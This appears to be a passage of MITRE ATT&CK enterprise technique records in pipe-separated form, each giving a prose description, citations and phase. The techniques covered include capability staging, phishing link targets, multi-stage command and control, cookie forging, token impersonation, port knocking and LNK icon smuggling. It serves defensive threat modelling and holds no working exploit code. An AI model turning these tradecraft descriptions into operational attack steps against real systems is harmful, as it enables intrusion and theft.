Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.(Citation: Volexity Ocean Lotus November 2020)(Citation: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)
Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):
* Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox)
* Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019)
* Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020)
* Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: DigiCert Install SSL Cert) | enterprise-attack | Stage Capabilities | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1608 external_id: T1608 source_name: Volexity Ocean Lotus November 2020 description: Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020. url: https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/ source_name: Netskope GCP Redirection description: Ashwin Vamshi. (2019, January 24). Targeted Attacks Abusing Google Cloud Platform Open Redirection. Retrieved August 18, 2022. url: https://www.netskope.com/blog/targeted-attacks-abusing-google-cloud-platform-open-redirection source_name: Netskope Cloud Phishing description: Ashwin Vamshi. (2020, August 12). A Big Catch: Cloud Phishing from Google App Engine and Azure App Service. Retrieved August 18, 2022. url: https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service source_name: ATT ScanBox description: Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020. url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks source_name: DigiCert Install SSL Cert description: DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021. url: https://www.digicert.com/kb/ssl-certificate-installation.htm source_name: Gallagher 2015 description: Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as “watering holes”. Retrieved January 25, 2016. url: http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/ source_name: Malwarebytes Heroku Skimmers description: Jérôme Segura. (2019, December 4). There's an app for that: web skimmers found on PaaS Heroku. Retrieved August 18, 2022. url: https://www.malwarebytes.com/blog/news/2019/12/theres-an-app-for-that-web-skimmers-found-on-paas-heroku source_name: Dragos Heroku Watering Hole description: Kent Backman. (2021, May 18). When Intrusions Don’t Align: A New Water Watering Hole and Oldsmar. Retrieved August 18, 2022. url: https://www.dragos.com/blog/industry-news/a-new-water-watering-hole/ source_name: FireEye CFR Watering Hole 2012 description: Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020. url: https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html source_name: Malwarebytes Silent Librarian October 2020 description: Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021. url: https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/ source_name: Proofpoint TA407 September 2019 description: Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021. url: https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian | kill_chain_name: mitre-attack phase_name: resource-development | PRE |
Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link.
Typically, the resources for a link target will be an HTML page that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001) and have the link target point to malware for download/execution by the user.
Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001).
Links can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing.(Citation: Kaspersky-masking)(Citation: mandiant-masking)
Adversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages.(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)(Citation: Intezer App Service Phishing)(Citation: Cofense-redirect) In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links).(Citation: iOS URL Scheme)(Citation: URI)(Citation: URI Use)(Citation: URI Unique) Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.(Citation: Talos IPFS 2022) | enterprise-attack | Link Target | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1608/005 external_id: T1608.005 source_name: Netskope GCP Redirection description: Ashwin Vamshi. (2019, January 24). Targeted Attacks Abusing Google Cloud Platform Open Redirection. Retrieved August 18, 2022. url: https://www.netskope.com/blog/targeted-attacks-abusing-google-cloud-platform-open-redirection source_name: Netskope Cloud Phishing description: Ashwin Vamshi. (2020, August 12). A Big Catch: Cloud Phishing from Google App Engine and Azure App Service. Retrieved August 18, 2022. url: https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service source_name: URI Unique description: Australian Cyber Security Centre. National Security Agency. (2020, April 21). Detect and Prevent Web Shell Malware. Retrieved February 9, 2024. url: https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF source_name: Kaspersky-masking description: Dedenok, Roman. (2023, December 12). How cybercriminals disguise URLs. Retrieved January 17, 2024. url: https://www.kaspersky.com/blog/malicious-redirect-methods/50045/ source_name: Talos IPFS 2022 description: Edmund Brumaghin. (2022, November 9). Threat Spotlight: Cyber Criminal Adoption of IPFS for Phishing, Malware Campaigns. Retrieved March 8, 2023. url: https://blog.talosintelligence.com/ipfs-abuse/ source_name: Malwarebytes Silent Librarian October 2020 description: Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021. url: https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/ source_name: URI description: Michael Cobb. (2007, October 11). Preparing for uniform resource identifier (URI) exploits. Retrieved February 9, 2024. url: https://www.techtarget.com/searchsecurity/tip/Preparing-for-uniform-resource-identifier-URI-exploits source_name: URI Use description: Nathan McFeters. Billy Kim Rios. Rob Carter.. (2008). URI Use and Abuse. Retrieved February 9, 2024. url: https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf source_name: iOS URL Scheme description: Ostorlab. (n.d.). iOS URL Scheme Hijacking. Retrieved February 9, 2024. url: https://docs.ostorlab.co/kb/IPA_URL_SCHEME_HIJACKING/index.html source_name: Intezer App Service Phishing description: Paul Litvak. (2020, October 8). Kud I Enter Your Server? New Vulnerabilities in Microsoft Azure. Retrieved August 18, 2022. url: https://www.intezer.com/blog/malware-analysis/kud-i-enter-your-server-new-vulnerabilities-in-microsoft-azure/ source_name: Proofpoint TA407 September 2019 description: Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021. url: https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian source_name: Cofense-redirect description: Raymond, Nathaniel. (2023, August 16). Major Energy Company Targeted in Large QR Code Phishing Campaign. Retrieved January 17, 2024. url: https://cofense.com/blog/major-energy-company-targeted-in-large-qr-code-campaign/ source_name: mandiant-masking description: Simonian, Nick. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved January 17, 2024. url: https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse | kill_chain_name: mitre-attack phase_name: resource-development | PRE |
Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.
Remote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.
The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked. | enterprise-attack | Multi-Stage Channels | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1104 external_id: T1104 | kill_chain_name: mitre-attack phase_name: command-and-control | Linux |
Adversaries may steal monetary resources from targets through extortion, social engineering, technical theft, or other methods aimed at their own financial gain at the expense of the availability of these resources for victims. Financial theft is the ultimate objective of several popular campaign types including extortion by ransomware,(Citation: FBI-ransomware) business email compromise (BEC) and fraud,(Citation: FBI-BEC) "pig butchering,"(Citation: wired-pig butchering) bank hacking,(Citation: DOJ-DPRK Heist) and exploiting cryptocurrency networks.(Citation: BBC-Ronin)
Adversaries may [Compromise Accounts](https://attack.mitre.org/techniques/T1586) to conduct unauthorized transfers of funds.(Citation: Internet crime report 2022) In the case of business email compromise or email fraud, an adversary may utilize [Impersonation](https://attack.mitre.org/techniques/T1656) of a trusted entity. Once the social engineering is successful, victims can be deceived into sending money to financial accounts controlled by an adversary.(Citation: FBI-BEC) This creates the potential for multiple victims (i.e., compromised accounts as well as the ultimate monetary loss) in incidents involving financial theft.(Citation: VEC)
Extortion by ransomware may occur, for example, when an adversary demands payment from a victim after [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) (Citation: NYT-Colonial) and [Exfiltration](https://attack.mitre.org/tactics/TA0010) of data, followed by threatening to leak sensitive data to the public unless payment is made to the adversary.(Citation: Mandiant-leaks) Adversaries may use dedicated leak sites to distribute victim data.(Citation: Crowdstrike-leaks)
Due to the potentially immense business impact of financial theft, an adversary may abuse the possibility of financial theft and seeking monetary gain to divert attention from their true goals such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and business disruption.(Citation: AP-NotPetya) | enterprise-attack | Financial Theft | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1657 external_id: T1657 source_name: VEC description: CloudFlare. (n.d.). What is vendor email compromise (VEC)?. Retrieved September 12, 2023. url: https://www.cloudflare.com/learning/email-security/what-is-vendor-email-compromise/#:~:text=Vendor%20email%20compromise%2C%20also%20referred,steal%20from%20that%20vendor%27s%20customers. source_name: Crowdstrike-leaks description: Crowdstrike. (2020, September 24). Double Trouble: Ransomware with Data Leak Extortion, Part 1. Retrieved December 6, 2023. url: https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/ source_name: Mandiant-leaks description: DANIEL KAPELLMANN ZAFRA, COREY HIDELBRANDT, NATHAN BRUBAKER, KEITH LUNDEN. (2022, January 31). 1 in 7 OT Ransomware Extortion Attacks Leak Critical Operational Technology Information. Retrieved August 18, 2023. url: https://www.mandiant.com/resources/blog/ransomware-extortion-ot-docs source_name: DOJ-DPRK Heist description: Department of Justice. (2021). 3 North Korean Military Hackers Indicted in Wide-Ranging Scheme to Commit Cyber-attacks and Financial Crimes Across the Globe. Retrieved August 18, 2023. url: https://www.justice.gov/usao-cdca/pr/3-north-korean-military-hackers-indicted-wide-ranging-scheme-commit-cyber-attacks-and source_name: FBI-BEC description: FBI. (2022). FBI 2022 Congressional Report on BEC and Real Estate Wire Fraud. Retrieved August 18, 2023. url: https://www.fbi.gov/file-repository/fy-2022-fbi-congressional-report-business-email-compromise-and-real-estate-wire-fraud-111422.pdf/view source_name: FBI-ransomware description: FBI. (n.d.). Ransomware. Retrieved August 18, 2023. url: https://www.cisa.gov/sites/default/files/Ransomware_Trifold_e-version.pdf source_name: AP-NotPetya description: FRANK BAJAK AND RAPHAEL SATTER. (2017, June 30). Companies still hobbled from fearsome cyberattack. Retrieved August 18, 2023. url: https://apnews.com/article/russia-ukraine-technology-business-europe-hacking-ce7a8aca506742ab8e8873e7f9f229c2 source_name: Internet crime report 2022 description: IC3. (2022). 2022 Internet Crime Report. Retrieved August 18, 2023. url: https://www.ic3.gov/Media/PDF/AnnualReport/2022_IC3Report.pdf source_name: BBC-Ronin description: Joe Tidy. (2022, March 30). Ronin Network: What a $600m hack says about the state of crypto. Retrieved August 18, 2023. url: https://www.bbc.com/news/technology-60933174 source_name: wired-pig butchering description: Lily Hay Newman. (n.d.). ‘Pig Butchering’ Scams Are Now a $3 Billion Threat. Retrieved August 18, 2023. url: https://www.wired.com/story/pig-butchering-fbi-ic3-2022-report/ source_name: NYT-Colonial description: Nicole Perlroth. (2021, May 13). Colonial Pipeline paid 75 Bitcoin, or roughly $5 million, to hackers.. Retrieved August 18, 2023. url: https://www.nytimes.com/2021/05/13/technology/colonial-pipeline-ransom.html | kill_chain_name: mitre-attack phase_name: impact | Linux |
Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)
Guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match. | enterprise-attack | Execution Guardrails | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1480 external_id: T1480 source_name: FireEye Outlook Dec 2019 description: McWhirt, M., Carr, N., Bienstock, D. (2019, December 4). Breaking the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774). Retrieved June 23, 2020. url: https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html source_name: FireEye Kevin Mandia Guardrails description: Shoorbajee, Z. (2018, June 1). Playing nice? FireEye CEO says U.S. malware is more restrained than adversaries'. Retrieved January 17, 2019. url: https://www.cyberscoop.com/kevin-mandia-fireeye-u-s-malware-nice/ | kill_chain_name: mitre-attack phase_name: defense-evasion | Linux |
Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage. Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure.
Cloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs) . | enterprise-attack | Cloud Storage Object Discovery | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1619 external_id: T1619 source_name: ListObjectsV2 description: Amazon - ListObjectsV2. Retrieved October 4, 2021. url: https://docs.aws.amazon.com/AmazonS3/latest/API/API_ListObjectsV2.html source_name: List Blobs description: Microsoft - List Blobs. (n.d.). Retrieved October 4, 2021. url: https://docs.microsoft.com/en-us/rest/api/storageservices/list-blobs | kill_chain_name: mitre-attack phase_name: discovery | IaaS |
Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access.
Adversaries may generate these cookies in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.(Citation: Pass The Cookie) The generation of web cookies often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.
Once forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019) | enterprise-attack | Web Cookies | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1606/001 external_id: T1606.001 source_name: Volexity SolarWinds description: Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020. url: https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/ source_name: Unit 42 Mac Crypto Cookies January 2019 description: Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019. url: https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/ source_name: Pass The Cookie description: Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019. url: https://wunderwuzzi23.github.io/blog/passthecookie.html | kill_chain_name: mitre-attack phase_name: credential-access | Linux |
Adversaries may enumerate system and service logs to find useful data. These logs may highlight various types of valuable insights for an adversary, such as user authentication records ([Account Discovery](https://attack.mitre.org/techniques/T1087)), security or vulnerable software ([Software Discovery](https://attack.mitre.org/techniques/T1518)), or hosts within a compromised network ([Remote System Discovery](https://attack.mitre.org/techniques/T1018)).
Host binaries may be leveraged to collect system logs. Examples include using `wevtutil.exe` or [PowerShell](https://attack.mitre.org/techniques/T1059/001) on Windows to access and/or export security event information.(Citation: WithSecure Lazarus-NoPineapple Threat Intel Report 2023)(Citation: Cadet Blizzard emerges as novel threat actor) In cloud environments, adversaries may leverage utilities such as the Azure VM Agent’s `CollectGuestLogs.exe` to collect security logs from cloud hosted infrastructure.(Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console)
Adversaries may also target centralized logging infrastructure such as SIEMs. Logs may also be bulk exported and sent to adversary-controlled infrastructure for offline analysis. | enterprise-attack | Log Enumeration | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1654 external_id: T1654 source_name: SIM Swapping and Abuse of the Microsoft Azure Serial Console description: Mandiant Intelligence. (2023, May 16). SIM Swapping and Abuse of the Microsoft Azure Serial Console: Serial Is Part of a Well Balanced Attack. Retrieved June 2, 2023. url: https://www.mandiant.com/resources/blog/sim-swapping-abuse-azure-serial source_name: Cadet Blizzard emerges as novel threat actor description: Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023. url: https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/ source_name: WithSecure Lazarus-NoPineapple Threat Intel Report 2023 description: Ruohonen, S. & Robinson, S. (2023, February 2). No Pineapple! -DPRK Targeting of Medical Research and Technology Sector. Retrieved July 10, 2023. url: https://labs.withsecure.com/content/dam/labs/docs/WithSecure-Lazarus-No-Pineapple-Threat-Intelligence-Report-2023.pdf | kill_chain_name: mitre-attack phase_name: discovery | Linux |
Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`.(Citation: DuplicateToken function) The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread.
An adversary may perform [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system.
When an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally [Create Process with Token](https://attack.mitre.org/techniques/T1134/002) using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) is also distinct from [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) in that it refers to duplicating an existing token, rather than creating a new one. | enterprise-attack | Token Impersonation/Theft | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1134/001 external_id: T1134.001 source_name: Microsoft Command-line Logging description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017. url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing source_name: DuplicateToken function description: Microsoft. (2021, October 12). DuplicateToken function (securitybaseapi.h). Retrieved January 8, 2024. url: https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-duplicatetoken | kill_chain_name: mitre-attack phase_name: privilege-escalation | Windows |
Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection.
Exfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network. | enterprise-attack | Exfiltration to Code Repository | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1567/001 external_id: T1567.001 | kill_chain_name: mitre-attack phase_name: exfiltration | Linux |
Adversaries may log into accessible cloud services within a compromised environment using [Valid Accounts](https://attack.mitre.org/techniques/T1078) that are synchronized with or federated to on-premises user identities. The adversary may then perform management actions or access cloud-hosted resources as the logged-on user.
Many enterprises federate centrally managed user identities to cloud services, allowing users to login with their domain credentials in order to access the cloud control plane. Similarly, adversaries may connect to available cloud services through the web console or through the cloud command line interface (CLI) (e.g., [Cloud API](https://attack.mitre.org/techniques/T1059/009)), using commands such as <code>Connect-AZAccount</code> for Azure PowerShell, <code>Connect-MgGraph</code> for Microsoft Graph PowerShell, and <code>gcloud auth login</code> for the Google Cloud CLI.
In some cases, adversaries may be able to authenticate to these services via [Application Access Token](https://attack.mitre.org/techniques/T1550/001) instead of a username and password. | enterprise-attack | Cloud Services | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1021/007 external_id: T1021.007 | kill_chain_name: mitre-attack phase_name: lateral-movement | Office 365 |
Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.
This technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.
The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs. | enterprise-attack | Port Knocking | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1205/001 external_id: T1205.001 source_name: Hartrell cd00r 2002 description: Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018. url: https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631 | kill_chain_name: mitre-attack phase_name: command-and-control | Linux |
Adversaries may smuggle commands to download malicious payloads past content filters by hiding them within otherwise seemingly benign windows shortcut files. Windows shortcut files (.LNK) include many metadata fields, including an icon location field (also known as the `IconEnvironmentDataBlock`) designed to specify the path to an icon file that is to be displayed for the LNK file within a host directory.
Adversaries may abuse this LNK metadata to download malicious payloads. For example, adversaries have been observed using LNK files as phishing payloads to deliver malware. Once invoked (e.g., [Malicious File](https://attack.mitre.org/techniques/T1204/002)), payloads referenced via external URLs within the LNK icon location field may be downloaded. These files may also then be invoked by [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)/[System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218) arguments within the target path field of the LNK.(Citation: Unprotect Shortcut)(Citation: Booby Trap Shortcut 2017)
LNK Icon Smuggling may also be utilized post compromise, such as malicious scripts executing an LNK on an infected host to download additional malicious payloads.
| enterprise-attack | LNK Icon Smuggling | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1027/012 external_id: T1027.012 source_name: Unprotect Shortcut description: Unprotect Project. (2019, March 18). Shortcut Hiding. Retrieved October 3, 2023. url: https://unprotect.it/technique/shortcut-hiding/ source_name: Booby Trap Shortcut 2017 description: Weyne, F. (2017, April). Booby trap a shortcut with a backdoor. Retrieved October 3, 2023. url: https://www.uperesia.com/booby-trapped-shortcut | kill_chain_name: mitre-attack phase_name: defense-evasion | Windows |
Adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)), [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1566). Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise.(Citation: FireEye APT29) By utilizing a web service, adversaries can make it difficult to physically tie back operations to them. | enterprise-attack | Web Services | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1583/006 external_id: T1583.006 source_name: FireEye APT29 description: FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015. url: https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf source_name: ThreatConnect Infrastructure Dec 2020 description: ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021. url: https://threatconnect.com/blog/infrastructure-research-hunting/ | kill_chain_name: mitre-attack phase_name: resource-development | PRE |
Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.
Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment.
For example, in Kubernetes environments, processes running inside a container may communicate with the Kubernetes API server using service account tokens. If a container is compromised, an adversary may be able to steal the container’s token and thereby gain access to Kubernetes API commands.(Citation: Kubernetes Service Accounts) Similarly, instances within continuous-development / continuous-integration (CI/CD) pipelines will often use API tokens to authenticate to other services for testing and deployment.(Citation: Cider Security Top 10 CICD Security Risks) If these pipelines are compromised, adversaries may be able to steal these tokens and leverage their privileges.
Token theft can also occur through social engineering, in which case user action may be required to grant access. OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials.
Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017) The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)
Application access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens(Citation: Auth0 Understanding Refresh Tokens), allowing them to obtain new access tokens without prompting the user.
